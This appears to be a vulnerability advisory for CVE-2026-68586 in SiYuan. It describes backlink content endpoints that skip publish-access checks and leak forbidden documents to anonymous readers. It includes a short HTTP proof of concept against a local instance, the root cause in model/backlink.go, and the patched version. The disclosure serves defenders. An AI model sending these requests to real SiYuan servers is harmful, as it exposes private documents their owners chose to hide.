high · 8.6CVE-2026-68586Sep 3, 2026

CVE-2026-68586: SiYuan Missing Publish-Access Filter on Backlink Content Endpoints

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

SiYuan's publish mode correctly hides forbidden documents from backlink list results, but the matching content endpoints return those documents' full rendered HTML to any anonymous reader with no…

Packagegithub.com/siyuan-note/siyuan/kernel
Ecosystemgo
Affected< 0.0.0-20260721014413-f45749a7ef6e
Fixed in0.0.0-20260721014413-f45749a7ef6e
CVE-2026-68586: SiYuan Missing Publish-Access Filter on Backlink Content Endpoints

The problem

SiYuan splits backlink data across two endpoint families: list endpoints that return document paths, and content endpoints that return rendered block DOM. The list side applies FilterPathsByPublishAccess before responding. The content side, getBacklinkDoc and getBackmentionDoc, applies no publish-access check whatsoever.

Both content endpoints are gated only by CheckAuth, which the publish service satisfies automatically for anonymous visitors when Publish.Auth.Enable is false. An attacker who knows the ID of a publish-forbidden document and any block it references can call getBacklinkDoc directly and receive the full rendered HTML of that document's referencing blocks, bypassing the boundary an administrator explicitly configured.

Proof of concept

A working proof-of-concept for CVE-2026-68586 in github.com/siyuan-note/siyuan/kernel, with the exact payload below.

http
# Step 1: admin marks document publish-forbidden (port 6806)
POST http://127.0.0.1:6806/api/filetree/setPublishAccess
Authorization: Token <admin-token>
Content-Type: application/json

{"id":"REFTREEID","visible":false,"password":"","disable":true}

# Step 2: confirm the list endpoint correctly hides the document (port 6808, anonymous)
POST http://127.0.0.1:6808/api/ref/getBacklink2
Content-Type: application/json

{"id":"DEFID","k":"","mk":""}
# -> REFTREEID is absent from the response; list side is filtered

# Step 3: content endpoint leaks the forbidden document's rendered DOM (port 6808, anonymous)
POST http://127.0.0.1:6808/api/ref/getBacklinkDoc
Content-Type: application/json

{"defID":"DEFID","refTreeID":"REFTREEID","keyword":""}
# -> HTTP 200; data.backlinks[].dom contains full rendered content of the publish-forbidden document
# getBackmentionDoc behaves identically for mention-type references

The root cause is a symmetry gap in model/backlink.go. The list functions (GetBacklink, GetBacklink2) call FilterPathsByPublishAccess to strip forbidden paths before returning. GetBacklinkDoc and GetBackmentionDoc return Backlink.DOM (rendered HTML) with no equivalent filter, so any caller that passes CheckAuth gets unredacted content.

The patch commit f45749a7ef6e adds CheckPathAccessableByPublishIgnore plus the publish-password cookie check to both content functions, mirroring exactly what the list siblings already do. The CWE-862 classification is precise: the authorization check simply was not present on these code paths.

The fix

Upgrade to SiYuan v3.7.3 (Go module pseudo-version 0.0.0-20260721014413-f45749a7ef6e or later). The patch adds publish-access and publish-password checks inside GetBacklinkDoc and GetBackmentionDoc, consistent with the filtering already applied by the list endpoints.

Reporter not attributed.

References: [1][2][3][4][5]

Related research